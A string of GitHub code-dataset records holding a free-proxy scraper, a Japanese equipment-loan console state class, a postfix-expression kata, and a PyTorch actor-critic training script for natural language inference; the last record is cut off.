\n\t\t\t\t\tspeed=speed,\n\t\t\t\t\ttime_since_last_check=time_since_last_check)\n\t\t\tproxies.append(p)\n\treturn proxies\n\n\ndef get_proxies(use_cache=False, save=True):\n\t# TODO: http://www.kuaidaili.com/free/inha/\n\n\tif use_cache:\n\t\t# set flag to 'r' to support concurrent reads\n\t\twith shelve.open(CACHE_PATH, flag='r') as f:\n\t\t\tproxies = {k: v for k, v in f.items()}\n\t\t\treturn proxies\n\n\tXICI = 'https://www.xicidaili.com/{}/{}'\n\n\tproxies = defaultdict(list)\n\t# get the first 10 pages\n\t# for url in [XICI.format(*i) for i in itertools.product(['wn', 'wt'], range(1, 11))]:\n\t# \tfor proxy in parse_page(url):\n\t# \t\tproxies[proxy.type].append(proxy)\n\n\twith ThreadPoolExecutor(max_workers=20) as ex:\n\t\tresults = ex.map(parse_page, \n\t\t\t[XICI.format(*i) for i in itertools.product(['wn', 'wt'], range(1, 11))])\n\n\tfor result in results:\n\t\tfor proxy in result:\n\t\t\tproxies[proxy.type].append(proxy)\n\n\tif save:\n\t\t# TODO: adding thread locks here\n\t\twith shelve.open(CACHE_PATH, writeback=True) as f:\n\t\t\tfor k, v in proxies.items():\n\t\t\t\tf[k] = v\n\t\tprint('Saved to {}'.format(CACHE_PATH))\n\treturn proxies\n\n\n","repo_name":"MaxwellLZH/random-proxy","sub_path":"randomproxy/collect.py","file_name":"collect.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42605224065","text":"#!/usr/bin/env python\nfrom db.EquipmentRecord import EquipmentRecord\nfrom db.AccountRecord import AccountRecord\nimport state as state\nimport dev.display.Console as Console\nfrom state.commonResource import CommonResource as cmn_res\nfrom db.UserProcedure import UserProcedure\nfrom dev.input import input\n\nclass ConfirmToUpdateProcedure(state.IState):\n def entry(self):\n self.__input = input.SunitizedString(\n input.ConsoleTextField()\n )\n self.__get_next_state = state.ErrorHasOccurred()\n\n Console.clear()\n Console.puts(\"以下の内容で手続きを行います。よろしいですか?(Y/N)\")\n Console.puts(\"ユーザID :\", cmn_res.user.data[AccountRecord.EMPLOYEE_ID])\n Console.puts(\"機材ID :\", cmn_res.equipment.data[EquipmentRecord.EQUIPMENT_ID])\n Console.puts(\"機材名 :\", cmn_res.equipment.data[EquipmentRecord.EQUIPMENT_NAME])\n Console.puts(\"返却予定日:\", cmn_res.equipment.data[EquipmentRecord.END_DATE])\n Console.puts(\">\", end=\"\")\n self.__get_next_state = state.ErrorHasOccurred()\n\n def do(self):\n self.__input.capture()\n\n def exit(self):\n if( self.__input.get_string() in [\"y\",\"Y\"]):\n result = UserProcedure(True).update_equipment_return_date(\n cmn_res.user.data[AccountRecord.EMPLOYEE_ID],\n cmn_res.equipment.data[EquipmentRecord.EQUIPMENT_ID],\n cmn_res.equipment.data[EquipmentRecord.END_DATE])\n if result == True:\n self.__get_next_state = state.SuccessUpdateEquipment()\n else:\n Console.puts(\"更新の受理に失敗しました。\")\n Console.puts(\"再度試しても失敗する場合、システム管理者に問い合わせてください。\", \"\\n\")\n self.__get_next_state = state.ErrorHasOccurred()\n else:\n Console.puts(\"更新手続きをキャンセルしました。\")\n self.__get_next_state = state.GotoNextAfterWaiting()\n self.__get_next_state.set_next_state(state.StandbyUpdateEquipmentIdInput())\n\n def get_next_state(self):\n return self.__get_next_state\n\n def should_exit(self):\n return self.__input.submitted()\n","repo_name":"soudai-aisw/aisw_bihin","sub_path":"src/state/ConfirmToUpdateProcedure.py","file_name":"ConfirmToUpdateProcedure.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"29996906137","text":"\ndef post_fix(expr):\n pieces = expr.split()\n nums = [p for p in pieces if p.isnumeric()]\n ops = [p for p in pieces if not p.isnumeric()]\n \n curr = nums[0]\n \n for num,op in zip(nums[1:],ops):\n curr = str(int(eval(curr+op+num)))\n \n return int(curr)\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"kZSi2XWDpu83miexy_1.py","file_name":"kZSi2XWDpu83miexy_1.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41255664595","text":"import os\nimport sys\nimport time\nimport argparse\nfrom collections import Counter\nimport numpy as np\nimport random\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nfrom tqdm import tqdm\nfrom data import get_nli, get_batch, build_vocab\nfrom mutils import get_optimizer\nfrom models import critic, actor\nfrom read_data import get_SICK_data\nprint(\"sick: model_actor_avg0.25_17\")\nparser = argparse.ArgumentParser(description='NLI training')\n\nsamplecnt = 1\nepsilon = 0.05\nalpha = 0.1\nverbose = 1\nif verbose:\n f = open(\"results.txt\", \"w\")\n f.close()\n\nbothCritic = \"both_critic0.25abs_nodelay.pickle-ds\"\nbothActor = \"both_actor0.25abs_nodelay.pickle-ds\"\n\n\n# paths\nparser.add_argument(\"--nlipath\", type=str, default='dataset/SNLI/', help=\"NLI data path (SNLI or MultiNLI)\")\nparser.add_argument(\"--outputdir\", type=str, default='savedir/SOUVIK/', help=\"Output directory\")\nparser.add_argument(\"--criticmodelname\", type=str, default='model_best_souvik.pickle')\nparser.add_argument(\"--actormodelname\", type=str, default='model_actor_avg0.25.pickle')\nparser.add_argument(\"--word_emb_path\", type=str, default=\"dataset/glove.840B.300d.txt\", help=\"word embedding file path\")\n\n# training\nparser.add_argument(\"--n_epochs\", type=int, default=1)\nparser.add_argument(\"--batch_size\", type=int, default=5)\nparser.add_argument(\"--dpout_model\", type=float, default=0., help=\"encoder dropout\")\nparser.add_argument(\"--dpout_fc\", type=float, default=0., help=\"classifier dropout\")\nparser.add_argument(\"--nonlinear_fc\", type=float, default=1, help=\"use nonlinearity in fc\")\nparser.add_argument(\"--optimizer\", type=str, default=\"sgd,lr=0.01\", help=\"adam or sgd,lr=0.1\")\nparser.add_argument(\"--lrshrink\", type=float, default=1, help=\"shrink factor for sgd\")\nparser.add_argument(\"--decay\", type=float, default=0.99, help=\"lr decay\")\nparser.add_argument(\"--minlr\", type=float, default=1e-5, help=\"minimum lr\")\nparser.add_argument(\"--max_norm\", type=float, default=5., help=\"max norm (grad clipping)\")\n\n# model\nparser.add_argument(\"--encoder_type\", type=str, default='InferSent', help=\"see list of encoders\")\nparser.add_argument(\"--enc_lstm_dim\", type=int, default=1024, help=\"encoder nhid dimension\")\nparser.add_argument(\"--n_enc_layers\", type=int, default=1, help=\"encoder num layers\")\nparser.add_argument(\"--fc_dim\", type=int, default=512, help=\"nhid of fc layers\")\nparser.add_argument(\"--n_classes\", type=int, default=3, help=\"entailment/neutral/contradiction\")\nparser.add_argument(\"--pool_type\", type=str, default='max', help=\"max or mean\")\n\n# gpu\nparser.add_argument(\"--gpu_id\", type=int, default=0, help=\"GPU ID\")\nparser.add_argument(\"--seed\", type=int, default=1234, help=\"seed\")\n\n# data\nparser.add_argument(\"--word_emb_dim\", type=int, default=300, help=\"word embedding dimension\")\n\nparams, _ = parser.parse_known_args()\n\n# set gpu device\ntorch.cuda.set_device(params.gpu_id)\n\n# print parameters passed, and all parameters\nprint('\\ntogrep : {0}\\n'.format(sys.argv[1:]))\nprint(params)\n\nnp.random.seed(params.seed)\ntorch.manual_seed(params.seed)\ntorch.cuda.manual_seed(params.seed)\n\n\"\"\"\nDATA\n\"\"\"\n#train, valid, test = get_nli(params.nlipath)\n\ntrain, valid, test = get_SICK_data()\n\nword_vec = build_vocab(train['s1'] + train['s2'] +\n valid['s1'] + valid['s2'] +\n test['s1'] + test['s2'], params.word_emb_path)\n\n\nfor split in ['s1', 's2']:\n for data_type in ['train', 'valid', 'test']:\n eval(data_type)[split] = np.array([[word for word in sent.split() if word in word_vec] for sent in eval(data_type)[split]])\n\n\n\n\"\"\"\nMODEL\n\"\"\"\n# model config\nconfig_nli_model = {\n 'n_words' : len(word_vec) ,\n 'word_emb_dim' : params.word_emb_dim ,\n 'enc_lstm_dim' : params.enc_lstm_dim ,\n 'n_enc_layers' : params.n_enc_layers ,\n 'dpout_model' : params.dpout_model ,\n 'dpout_fc' : params.dpout_fc ,\n 'fc_dim' : params.fc_dim ,\n 'bsize' : params.batch_size ,\n 'n_classes' : params.n_classes ,\n 'pool_type' : params.pool_type ,\n 'nonlinear_fc' : params.nonlinear_fc ,\n 'encoder_type' : params.encoder_type ,\n 'use_cuda' : True ,\n\n}\n\n# model\nencoder_types = ['InferSent', 'BLSTMprojEncoder', 'BGRUlastEncoder',\n 'InnerAttentionMILAEncoder', 'InnerAttentionYANGEncoder',\n 'InnerAttentionNAACLEncoder', 'ConvNetEncoder', 'LSTMEncoder']\nassert params.encoder_type in encoder_types, \"encoder_type must be in \" + \\\n str(encoder_types)\nnli_net = critic(config_nli_model)\nactorModel = actor(params.enc_lstm_dim, params.word_emb_dim)\nprint(nli_net)\nprint(actorModel)\n\n\nfor name, x in nli_net.named_parameters():\n print(name)\n\nfor name, x in actorModel.named_parameters():\n print(name)\n\n#print(nli_net.target_pred.enc_lstm.weight_ih_l0)\n#print(nli_net.target_classifier[4].bias)\n\n# loss\nweight = torch.FloatTensor(params.n_classes).fill_(1)\nloss_fn = nn.CrossEntropyLoss(weight=weight)\nloss_fn.size_average = False\n\n\n# optimizer\noptim_fn, optim_params = get_optimizer(params.optimizer)\ncritic_target_optimizer = optim_fn(list(nli_net.target_pred.parameters()) + list(nli_net.target_classifier.parameters()), **optim_params)\n\noptim_fn2, optim_params2 = get_optimizer(params.optimizer)\ncritic_active_optimizer = optim_fn(list(nli_net.active_pred.parameters()) + list(nli_net.active_classifier.parameters()), **optim_params2)\n\n\noptim_fn3, optim_params3 = get_optimizer(\"adam,lr=0.1\")\nactor_target_optimizer = optim_fn3(actorModel.target_policy.parameters(), **optim_params3)\n\noptim_fn4, optim_params4 = get_optimizer(\"adam,lr=0.1\")\nactor_active_optimizer = optim_fn4(actorModel.active_policy.parameters(), **optim_params4)\n\n# cuda by default\nnli_net.cuda()\nactorModel.cuda()\nloss_fn.cuda()\n\n\ndef Sampling_RL(current, summary, length, epsilon, Random = True):\n current_lower_state = torch.zeros(1, 2*params.enc_lstm_dim).cuda()\n current = current.squeeze(0)\n actions = []\n states = []\n for pos in range(0, length):\n predicted = actorModel.get_target_output(current_lower_state, current[pos], summary, scope = \"target\")\n states.append([current_lower_state, current[pos], summary])\n if Random:\n if random.random() > epsilon:\n action = (0 if random.random() < float(predicted[0].item()) else 1)\n else:\n action = (1 if random.random() < float(predicted[0].item()) else 0)\n else:\n action = int(torch.argmax(predicted))\n actions.append(action)\n if action == 1:\n out_d, current_lower_state = nli_net.forward_lstm(current_lower_state, current[pos], scope = \"target\")\n\n Rinput = []\n for (i, a) in enumerate(actions):\n if a == 1:\n Rinput.append(current[i])\n Rlength = len(Rinput)\n \n if Rlength == 0:\n actions[length-2] = 1\n Rinput.append(current[length-2])\n Rlength = 1\n \n Rinput = torch.stack(Rinput)\n return actions, states, Rinput, Rlength\n \n\n\"\"\"\nTRAIN\n\"\"\"\nval_acc_best = -1e10\nadam_stop = False\nstop_training = False\nlr = optim_params2['lr'] if 'sgd' in params.optimizer else None\n\n\ndef trainepoch(epoch, RL_train = True, LSTM_train = True):\n print('\\nTRAINING : Epoch ' + str(epoch))\n \n actorModel.train(False)\n nli_net.train(False)\n if RL_train:\n print(\"Actor Training\")\n print('Learning rate : {0}'.format(actor_active_optimizer.param_groups[0]['lr']))\n actorModel.train()\n if LSTM_train:\n print(\"InferSent Training\")\n critic_active_optimizer.param_groups[0]['lr'] = critic_active_optimizer.param_groups[0]['lr'] * params.decay if epoch>1\\\n and 'sgd' in params.optimizer else critic_active_optimizer.param_groups[0]['lr']\n print('Learning rate : {0}'.format(critic_active_optimizer.param_groups[0]['lr']))\n nli_net.train()\n \n all_costs = []\n logs = []\n words_count = 0\n\n last_time = time.time()\n correct = 0.\n # shuffle the data\n permutation = np.random.permutation(len(train['s1']))\n\n s1 = train['s1'][permutation]\n s2 = train['s2'][permutation]\n target = train['label'][permutation]\n\n\n for stidx in tqdm(range(0, len(s1), params.batch_size)):\n \n s1_batch, s1_len = get_batch(s1[stidx:stidx + params.batch_size],\n word_vec, params.word_emb_dim)\n s2_batch, s2_len = get_batch(s2[stidx:stidx + params.batch_size],\n word_vec, params.word_emb_dim)\n s1_batch, s2_batch = Variable(s1_batch.cuda()), Variable(s2_batch.cuda())\n tgt_batch = Variable(torch.LongTensor(target[stidx:stidx + s1_batch.size(1)])).cuda()\n k = s1_batch.size(1) # actual batch size\n predict = torch.zeros(s1_batch.size(1), params.n_classes).cuda()\n avgloss = 0.\n totloss = 0.\n nli_net.assign_active_network()\n actorModel.assign_active_network()\n #print(\"Target Weight: \", actorModel.target_policy.W1.weight.data, \"\\n\\n\")\n for kk in range(s1_batch.size(1)):\n left = s1_batch.transpose(0,1)[kk].view(-1, 1, 300)\n right = s2_batch.transpose(0,1)[kk].view(-1, 1, 300)\n left_len = np.array([s1_len[kk]])\n right_len = np.array([s2_len[kk]])\n tgt = tgt_batch[kk].view(-1)\n if RL_train:\n leftSummary = nli_net.summary((left, left_len))[-1]\n rightSummary = nli_net.summary((right, right_len))[-1]\n actionlist_left, actionlist_right, statelist_left, statelist_right, losslist = [], [], [], [], []\n aveloss = 0.\n for i in range(samplecnt):\n actions_left, states_left, Rinput_left, Rlength_left = Sampling_RL(left, rightSummary, int(left_len), epsilon, Random=True)\n actions_right, states_right, Rinput_right, Rlength_right = Sampling_RL(right, leftSummary, int(right_len), epsilon, Random=True)\n actionlist_left.append(actions_left)\n statelist_left.append(states_left)\n actionlist_right.append(actions_right)\n statelist_right.append(states_right)\n out = nli_net((Rinput_left, np.array([Rlength_left])), (Rinput_right, np.array([Rlength_right])), scope = \"target\")\n loss_ = loss_fn(out, tgt)\n lossL = (((float(Rlength_left) / int(left.size(1))) + (int(left.size(1)) / float(Rlength_left)) * 0.25) - 1.0)\n lossR = (((float(Rlength_right) / int(right.size(1))) + (int(right.size(1)) / float(Rlength_right)) * 0.25) - 1.0)\n loss_ = loss_ + ((lossL + lossR)/2) * 0.1 * params.n_classes\n aveloss += loss_\n losslist.append(loss_)\n aveloss /= samplecnt\n totloss += aveloss\n grad1 = None\n grad2 = None\n grad3 = None\n grad4 = None\n flag = 0 \n if LSTM_train:\n critic_active_optimizer.zero_grad()\n critic_target_optimizer.zero_grad()\n actions_left, states_left, Rinput_left, Rlength_left = Sampling_RL(left, rightSummary, int(left_len), epsilon, Random=False)\n actions_right, states_right, Rinput_right, Rlength_right = Sampling_RL(right, leftSummary, int(right_len), epsilon, Random=False)\n output = nli_net((Rinput_left, np.array([Rlength_left])), (Rinput_right, np.array([Rlength_right])), scope = \"target\")\n predict[kk] = output\n loss = loss_fn(output, tgt)\n avgloss += loss.item()\n loss.backward()\n nli_net.assign_active_network_gradients()\n shrink_factor = 1\n total_norm = 0\n for p in nli_net.active_pred.parameters():\n if p.requires_grad:\n p.grad.data.div_(k ** 2) # divide by the actual batch size\n total_norm += p.grad.data.norm() ** 2\n for p in nli_net.active_classifier.parameters():\n if p.requires_grad:\n p.grad.data.div_(k ** 2) # divide by the actual batch size\n total_norm += p.grad.data.norm() ** 2\n total_norm = np.sqrt(total_norm.cpu())\n if total_norm > params.max_norm:\n shrink_factor = params.max_norm / total_norm\n current_lr = critic_active_optimizer.param_groups[0]['lr'] # current lr (no external \"lr\", for adam)\n critic_active_optimizer.param_groups[0]['lr'] = current_lr * shrink_factor # just for update\n critic_active_optimizer.param_groups[0]['lr'] = current_lr \n critic_active_optimizer.step()\n actor_target_optimizer.zero_grad()\n for i in range(samplecnt): #5\n for pos in range(len(actionlist_left[i])): #19 --> 13\n rr = [0, 0]\n rr[actionlist_left[i][pos]] = ((losslist[i] - aveloss) * alpha).cpu().item()\n g = actorModel.get_gradient(statelist_left[i][pos][0], statelist_left[i][pos][1], statelist_left[i][pos][2], rr, scope = \"target\")\n if flag == 0:\n grad1 = g[0]\n grad2 = g[1]\n grad3 = g[2]\n grad4 = g[3]\n flag = 1\n else:\n grad1 += g[0]\n grad2 += g[1]\n grad3 += g[2]\n grad4 += g[3]\n for pos in range(len(actionlist_right[i])): # 25 --> 5\n rr = [0, 0]\n rr[actionlist_right[i][pos]] = ((losslist[i] - aveloss) * alpha).cpu().item()\n g = actorModel.get_gradient(statelist_right[i][pos][0], statelist_right[i][pos][1], statelist_right[i][pos][2], rr, scope = \"target\")\n grad1 += g[0]\n grad2 += g[1]\n grad3 += g[2]\n grad4 += g[3]\n actor_active_optimizer.zero_grad()\n actorModel.assign_active_network_gradients(grad1, grad2, grad3, grad4)\n \n actor_active_optimizer.step()\n #output = nli_net((left, left_len), (right, right_len), \"target\")\n _, _, Rinput_left, Rlength_left = Sampling_RL(left, rightSummary, int(left_len), epsilon, Random=False)\n _, _, Rinput_right, Rlength_right = Sampling_RL(right, leftSummary, int(right_len), epsilon, Random=False)\n output = nli_net((Rinput_left, np.array([Rlength_left])), (Rinput_right, np.array([Rlength_right])), scope = \"target\")\n predict[kk] = output\n else:\n critic_active_optimizer.zero_grad()\n critic_target_optimizer.zero_grad()\n output = nli_net((left, left_len), (right, right_len), \"target\")\n predict[kk] = output\n loss = loss_fn(output, tgt)\n avgloss += loss.item()\n loss.backward()\n nli_net.assign_active_network_gradients()\n shrink_factor = 1\n total_norm = 0\n for p in nli_net.active_pred.parameters():\n if p.requires_grad:\n p.grad.data.div_(k ** 2) # divide by the actual batch size\n total_norm += p.grad.data.norm() ** 2\n for p in nli_net.active_classifier.parameters():\n if p.requires_grad:\n p.grad.data.div_(k ** 2) # divide by the actual batch size\n total_norm += p.grad.data.norm() ** 2\n total_norm = np.sqrt(total_norm.cpu())\n if total_norm > params.max_norm:\n shrink_factor = params.max_norm / total_norm\n current_lr = critic_active_optimizer.param_groups[0]['lr'] # current lr (no external \"lr\", for adam)\n critic_active_optimizer.param_groups[0]['lr'] = current_lr * shrink_factor # just for update\n critic_active_optimizer.param_groups[0]['lr'] = current_lr \n critic_active_optimizer.step()\n if RL_train:\n pass\n #actorModel.update_target_network()\n '''\n pred = predict.data.max(1)[1]\n correct += pred.long().eq(tgt_batch.data.long()).cpu().sum()\n assert len(pred) == len(s1[stidx:stidx + params.batch_size])\n\n # loss\n all_costs.append(avgloss/params.batch_size)\n words_count += (s1_batch.nelement() + s2_batch.nelement()) / params.word_emb_dim\n\n #print(nli_net.classifier[4].bias)\n\n if len(all_costs) == 100:\n logs.append('{0} ; loss {1} ; sentence/s {2} ; words/s {3} ; accuracy train : {4}'.format(\n stidx, round(np.mean(all_costs), 2),\n int(len(all_costs) * params.batch_size / (time.time() - last_time)),\n int(words_count * 1.0 / (time.time() - last_time)),\n round(100.*correct.item()/(stidx+k), 2)))\n print(logs[-1])\n last_time = time.time()\n words_count = 0\n all_costs = []\n '''\n \n if LSTM_train:\n nli_net.update_target_network()\n pred = predict.data.max(1)[1]\n correct += pred.long().eq(tgt_batch.data.long()).cpu().sum()\n assert len(pred) == len(s1[stidx:stidx + params.batch_size])\n\n # loss\n all_costs.append(avgloss/params.batch_size)\n words_count += (s1_batch.nelement() + s2_batch.nelement()) / params.word_emb_dim\n\n #print(nli_net.classifier[4].bias)\n\n if len(all_costs) == 100:\n logs.append('{0} ; loss {1} ; sentence/s {2} ; words/s {3} ; accuracy train : {4}'.format(\n stidx, round(np.mean(all_costs), 2),\n int(len(all_costs) * params.batch_size / (time.time() - last_time)),\n int(words_count * 1.0 / (time.time() - last_time)),\n round(100.*correct.item()/(stidx+k), 2)))\n print(logs[-1])\n last_time = time.time()\n words_count = 0\n all_costs = []\n else:\n nli_net.assign_target_network()\n pred = predict.data.max(1)[1]\n correct += pred.long().eq(tgt_batch.data.long()).cpu().sum()\n assert len(pred) == len(s1[stidx:stidx + params.batch_size])\n\n # loss\n all_costs.append(avgloss/params.batch_size)\n words_count += (s1_batch.nelement() + s2_batch.nelement()) / params.word_emb_dim\n\n \n\n if len(all_costs) == 100:\n logs.append('{0} ; loss {1} ; sentence/s {2} ; words/s {3} ; accuracy train : {4}'.format(\n stidx, round(np.mean(all_costs), 2),\n int(len(all_costs) * params.batch_size / (time.time() - last_time)),\n int(words_count * 1.0 / (time.time() - last_time)),\n round(100.*correct.item()/(stidx+k), 2)))\n print(logs[-1])\n last_time = time.time()\n words_count = 0\n all_costs = []\n if LSTM_train:\n train_acc = round(100 * correct.item()/len(s1), 2)\n print('results : epoch {0} ; mean accuracy train : {1}'.format(epoch, train_acc))\n return train_acc\n else:\n return None\n\ndef evaluate(epoch, eval_type='valid', final_eval=False):\n nli_net.eval()\n correct = 0.\n global val_acc_best, lr, stop_training, adam_stop\n\n if eval_type == 'valid':\n print('\\nVALIDATION : Epoch {0}'.format(epoch))\n\n if eval_type == \"train\":\n s1 = train['s1']\n s2 = train['s2']\n target = train['label']\n if eval_type == \"test\":\n s1 = test['s1']\n s2 = test['s2']\n target = test['label']\n if eval_type == \"valid\":\n s1 = valid['s1']\n s2 = valid['s2']\n target = valid['label']\n\n for i in range(0, len(s1), params.batch_size):\n # prepare batch\n s1_batch, s1_len = get_batch(s1[i:i + params.batch_size], word_vec, params.word_emb_dim)\n s2_batch, s2_len = get_batch(s2[i:i + params.batch_size], word_vec, params.word_emb_dim)\n s1_batch, s2_batch = Variable(s1_batch.cuda()), Variable(s2_batch.cuda())\n tgt_batch = Variable(torch.LongTensor(target[i:i + params.batch_size])).cuda()\n\n # model forward\n output = nli_net((s1_batch, s1_len), (s2_batch, s2_len), \"target\")\n\n pred = output.data.max(1)[1]\n correct += pred.long().eq(tgt_batch.data.long()).cpu().sum()\n\n # save model\n eval_acc = round(100 * correct.item() / len(s1), 2)\n if final_eval:\n print('finalgrep : accuracy {0} : {1}'.format(eval_type, eval_acc))\n else:\n print('togrep : results : epoch {0} ; mean accuracy {1} :\\\n {2}'.format(epoch, eval_type, eval_acc))\n\n if eval_type == 'valid' and epoch <= params.n_epochs:\n if eval_acc > val_acc_best:\n print('saving model at epoch {0}'.format(epoch))\n if not os.path.exists(params.outputdir):\n os.makedirs(params.outputdir)\n torch.save(nli_net.state_dict(), os.path.join(params.outputdir,\n params.criticmodelname))\n val_acc_best = eval_acc\n else:\n if 'sgd' in params.optimizer:\n critic_active_optimizer.param_groups[0]['lr'] = critic_active_optimizer.param_groups[0]['lr'] / params.lrshrink\n print('Shrinking lr by : {0}. New lr = {1}'\n .format(params.lrshrink,\n critic_active_optimizer.param_groups[0]['lr']))\n if critic_active_optimizer.param_groups[0]['lr'] < params.minlr:\n stop_training = True\n if 'adam' in params.optimizer:\n # early stopping (at 2nd decrease in accuracy)\n stop_training = adam_stop\n adam_stop = True\n return eval_acc\n\ndef evaluate_RL(epoch, eval_type='valid', final_eval=False):\n nli_net.eval()\n actorModel.eval()\n correct = 0.\n global val_acc_best, lr, stop_training, adam_stop\n\n if eval_type == 'valid':\n print('\\nVALIDATION : Epoch {0}'.format(epoch))\n\n if eval_type == \"train\":\n s1 = train['s1']\n s2 = train['s2']\n target = train['label']\n if eval_type == \"test\":\n s1 = test['s1']\n s2 = test['s2']\n target = test['label']\n if eval_type == \"valid\":\n s1 = valid['s1']\n s2 = valid['s2']\n target = valid['label']\n\n ll, rl, ll_, rl_ = 0, 0, 0, 0\n deleteCount = dict()\n wordCount = dict()\n for i in range(0, len(s1)):\n if i % 100 == 0:\n print(\"Evaluating... \", i)\n # prepare batch\n s1_batch, s1_len = get_batch(s1[i:i + 1], word_vec, params.word_emb_dim)\n s2_batch, s2_len = get_batch(s2[i:i + 1], word_vec, params.word_emb_dim)\n s1_batch, s2_batch = Variable(s1_batch.cuda()), Variable(s2_batch.cuda())\n tgt_batch = Variable(torch.LongTensor(target[i:i + 1])).cuda()\n\n # model forward\n leftSummary = nli_net.summary((s1_batch, s1_len))[-1]\n rightSummary = nli_net.summary((s2_batch, s2_len))[-1]\n actions_left, states_left, Rinput_left, Rlength_left = Sampling_RL(s1_batch, rightSummary, int(s1_len), epsilon, Random=False)\n actions_right, states_right, Rinput_right, Rlength_right = Sampling_RL(s2_batch, leftSummary, int(s2_len), epsilon, Random=False)\n #print(s1_batch.size(), actions_left, Rinput_left.size(), s2_batch.size(), actions_right, Rinput_right.size(), \"\\n\\n\")\n output = nli_net((Rinput_left, np.array([Rlength_left])), (Rinput_right, np.array([Rlength_right])), scope = \"target\")\n\n pred = output.data.max(1)[1]\n\n if verbose:\n sourceL = s1[i:i + 1][0]\n sourceR = s2[i:i + 1][0]\n tempL, tempR = [], []\n \n for x in range(1,len(actions_left)-1):\n \n if sourceL[x] not in wordCount.keys():\n wordCount[sourceL[x]] = 1\n else:\n wordCount[sourceL[x]] += 1\n \n if actions_left[x] == 1:\n tempL.append(sourceL[x])\n if actions_left[x] == 0:\n if sourceL[x] not in deleteCount.keys():\n deleteCount[sourceL[x]] = 1\n else:\n deleteCount[sourceL[x]] += 1\n \n for x in range(1,len(actions_right)-1):\n \n if sourceR[x] not in wordCount.keys():\n wordCount[sourceR[x]] = 1\n else:\n wordCount[sourceR[x]] += 1\n\n if actions_right[x] == 1:\n tempR.append(sourceR[x])\n if actions_right[x] == 0:\n if sourceR[x] not in deleteCount.keys():\n deleteCount[sourceR[x]] = 1\n else:\n deleteCount[sourceR[x]] += 1\n \n with open(\"results.txt\", \"a\") as f:\n f.write(\" \".join(sourceL[1:-1]) + \"-----\" + \" \".join(sourceR[1:-1]) + \"\\n\")\n f.write(\" \".join(tempL) + \"-----\" + \" \".join(tempR) + \"\\nactual: \" + str(int(tgt_batch)) + \" pred: \" + str(int(pred)) + \"\\n\\n\")\n ll += len(actions_left)\n rl += len(actions_right)\n ll_ += Counter(actions_left)[1]\n rl_ += Counter(actions_right)[1] \n \n correct += pred.long().eq(tgt_batch.data.long()).cpu().sum()\n with open(\"results.txt\", \"a\") as f:\n f.write(\"Average left: \" + str(ll/len(s1)) + \"\\nAverage left new: \" + str(ll_/len(s1)) + \"\\nAverage right: \" + str(rl/len(s1)) + \"\\nAverage right new: \" + str(rl_/len(s1)))\n #f.write(deleteCount + \"\\n\\n\\n\" + wordCount)\n for key, value in sorted(deleteCount.items(), key=lambda item: item[1]):\n f.write(str(key) + \":\" + str(value) + \"\\n\")\n f.write(\"\\n\\n\\n\")\n for key, value in sorted(wordCount.items(), key=lambda item: item[1]):\n f.write(str(key) + \":\" + str(value) + \"\\n\")\n # save model\n eval_acc = round(100 * correct.item() / len(s1), 2)\n print(eval_type, \" accuracy: \", eval_acc)\n \n if final_eval:\n params.criticmodelname = bothCritic\n params.actormodelname = bothActor\n \n if eval_type == 'valid' and epoch <= params.n_epochs:\n if eval_acc > val_acc_best:\n print('saving model at epoch {0}'.format(epoch))\n if not os.path.exists(params.outputdir):\n os.makedirs(params.outputdir)\n torch.save(actorModel.state_dict(), os.path.join(params.outputdir, params.actormodelname))\n if final_eval:\n torch.save(nli_net.state_dict(), os.path.join(params.outputdir, params.criticmodelname))\n val_acc_best = eval_acc\n else:\n if final_eval:\n if 'sgd' in params.optimizer:\n critic_active_optimizer.param_groups[0]['lr'] = critic_active_optimizer.param_groups[0]['lr'] / params.lrshrink\n print('Shrinking lr by : {0}. New lr = {1}'\n .format(params.lrshrink,\n critic_active_optimizer.param_groups[0]['lr']))\n if critic_active_optimizer.param_groups[0]['lr'] < params.minlr:\n stop_training = True\n if 'adam' in params.optimizer:\n # early stopping (at 2nd decrease in accuracy)\n stop_training = adam_stop\n adam_stop = True\n return eval_acc\n\n\n\n\n''' INITIAL CRITIC TRAIN\n\"\"\"\nTrain model on Natural Language Inference task\n\"\"\"\nepoch = 1\nwhile not stop_training and epoch <= params.n_epochs:\n train_acc = trainepoch(epoch, RL_train = False)\n eval_acc = evaluate(epoch, 'valid')\n epoch += 1\n\n# Run best model on test set.\nnli_net.load_state_dict(torch.load(os.path.join(params.outputdir, params.criticmodelname)))\nprint(\"\\nCritic Loaded\")\nprint(evaluate(epoch, 'test'))\nprint(evaluate(epoch, 'valid'))\n'''\n\n'''\nprint(\"ACTOR TRAIN\")\nnli_net.load_state_dict(torch.load(os.path.join(params.outputdir, params.criticmodelname)))\nepoch = 1\nwhile not stop_training and epoch <= params.n_epochs:\n print(trainepoch(epoch, LSTM_train = False))\n eval_acc = evaluate_RL(epoch, 'valid')\n epoch += 1\n\nnli_net.load_state_dict(torch.load(os.path.join(params.outputdir, params.criticmodelname)))\nprint(\"\\nCritic Loaded\")\nactorModel.load_state_dict(torch.load(os.path.join(params.outputdir, params.actormodelname)))\nprint(\"\\nActor Loaded\")\n#print(evaluate_RL(epoch, 'train'))\n#print(evaluate_RL(epoch, 'test'))\nprint(evaluate_RL(epoch, 'test'))\n'''\n\nprint(\"FINAL CRITIC TRAIN\")\nnli_net.load_state_dict(torch.load(os.path.join(params.outputdir, params.criticmodelname)))\nprint(\"\\nCritic Loaded\")\nactorModel.load_state_dict(torch.load(os.path.join(params.outputdir, params.actormodelname)))\nprint(\"\\nActor Loaded\")\nepoch = 1\nwhile not stop_training and epoch <=params.n_epochs:\n train_acc = trainepoch(epoch)\n eval_acc = evaluate_RL(epoch, 'valid', final_eval = True)\n print(eval_acc)\n epoch += 1\nnli_net.load_state_dict(torch.load(os.path.join(params.outputdir, bothCritic)))\nprint(\"\\nCritic Loaded\")\nactorModel.load_state_dict(torch.load(os.path.join(params.outputdir, bothActor)))\nprint(\"\\nActor Loaded\")\nprint(evaluate_RL(epoch, 'test'))\n\n\n","repo_name":"souvik491/RL-Final-Assignment","sub_path":"RL - Souvik 